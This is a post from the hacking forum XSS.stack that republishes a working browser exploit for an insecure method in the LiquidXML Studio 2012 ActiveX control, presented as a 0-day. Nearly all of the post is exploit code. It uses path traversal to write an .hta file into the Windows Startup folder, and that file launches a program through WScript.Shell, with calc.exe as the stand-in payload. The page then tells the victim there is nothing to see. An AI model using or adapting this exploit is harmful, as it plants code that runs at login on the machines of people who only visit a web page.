• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LiquidXML Studio 2012 ActiveX Insecure Method

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
html>
<object classid='clsid:8AEEAB4A-E1DA-4354-B800-8F0B553770E1' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
<body>
LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day

By: Dr_IDE

GUID: {8AEEAB4A-E1DA-4354-B800-8F0B553770E1}

Number of Interfaces: 1

Default Interface: _FtpLibrary

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False







Nothing to see here, you can close the browser now...
</body>
</html>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх